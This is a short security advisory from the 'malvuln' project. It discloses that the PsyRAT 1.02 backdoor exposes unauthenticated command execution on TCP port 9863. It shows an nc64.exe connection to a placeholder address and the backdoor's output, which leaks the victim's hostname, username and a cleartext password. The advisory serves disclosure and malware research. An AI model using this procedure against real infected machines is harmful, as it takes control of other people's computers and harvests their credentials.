Backdoor.Win32.PsyRat.b / Unauthenticated Remote Command Execution

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Backdoor.Win32.PsyRat.b / Unauthenticated Remote Command Execution

From: malvuln <malvuln13 () gmail com>
Date: Mon, 26 Jul 2021 08:32:21 -0400

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: malvuln13 () gmail com

Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863,
but can be changed when building backdoor servers. Third-party attackers
who can reach infected systems can execute commands made available by the
backdoor. The backdoors cpuinfo command will leak system details including
cleartext password.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0306
Dropped files: server.exe
Disclosure: 07/26/2021

nc64.exe x.x.x.x 9863
Invalid command
you are a loser
Windows Version: |System Directory: C:WINDOWSsystem32|Computer Name:
DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type:
GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port:|Password:
abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL:
Invalid command.
PsyRAT 0.01 BETA

C: - Fixed Drive^D: - CD-ROM^

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